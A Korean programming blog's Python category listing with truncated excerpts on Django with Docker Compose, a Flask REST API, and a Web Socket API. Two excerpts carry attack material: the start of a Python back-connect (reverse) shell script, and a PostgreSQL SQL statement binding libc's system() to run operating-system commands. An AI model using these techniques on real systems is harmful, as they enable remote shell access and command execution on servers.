본문 바로가기

Python42

Docker Compose를 활용한 Django 환경 구축 Docker Compose를 활용하여 Django 프로젝트의 환경을 구축하는 과정을 설명합니다. 일반적으로 Django 프로젝트에 붙이는 Postgres, Nginx, Redis, RabbitMQ, Celery와 같은 서비스들을 Docker Compose를 사용하여 연결할 수 있습니다. Dockerization Dockerization은 기존의 Django 프로젝트를 Docker Compose를 사용하여 컨테이너화하는 과정을 의미합니다. 이를 통해 Django와 필요한 다른 서비스들을 컨테이너로 띄울 수 있습니다. 기존 프로젝트가 있는 경우 해당 프로젝트를 가져와 진행하거나, 새 프로젝트를 시작하는 경우 장고 서버가 정상적으로 실행되는 상태에서 작업을 진행할 수 있습니다. Docker Desktop 설치.. 2023. 8. 22.
Flask를 사용하여 REST API를 구축하는 예제 코드 Flask를 사용하여 REST API를 구축하는 예제 코드입니다. from flask import Flask, jsonify, request app = Flask(__name__) # 예시 데이터 tasks = [ { 'id': 1, 'title': 'Task 1', 'description': 'This is task 1', 'done': False }, { 'id': 2, 'title': 'Task 2', 'description': 'This is task 2', 'done': False } ] # 모든 작업 목록 반환 @app.route('/tasks', methods=['GET']) def get_tasks(): return jsonify({'tasks': tasks}) # 특정 작업 반환 @app.. 2023. 7. 1.
Web Socket API Web Socket APIThe Web Socket protocol enables web applications to maintain bidirectional communications with server-side processes. The typhoonae.websocket package provides a Web Socket Service API for GAE applications. It was introduced by the TyphoonAE 0.1.2 release anddoes not run on the productive Google App Engine platform.However, in order to enable the Web Socket API for the Google App En.. 2014. 2. 4.
윈도우 환경 Python 쉘 리바운드 #!/usr/bin/python import socket import sys import os def usage(): print "Simple Python Backconnect Shell" print "Usage:" print "./bc.py [ip] [port]" quit() #Initialize socket s = socket.socket() #Check if required arguments have been filled try: ip = sys.argv[1] port = int(sys.argv[2]) except: usage() #Connect to given target IP & port try: s.connect((ip, port)) except: print "Connection Failed!.. 2010. 9. 10.
PostgreSQL Shell Injection Shell InjectionPostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting languages such as python, perl, and tcl. Dynamic LibraryUntil PostgreSQL 8.1, it was possible to add a custom function linked with libc: CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT Since system returns an int how we can fetch results.. 2010. 8. 5.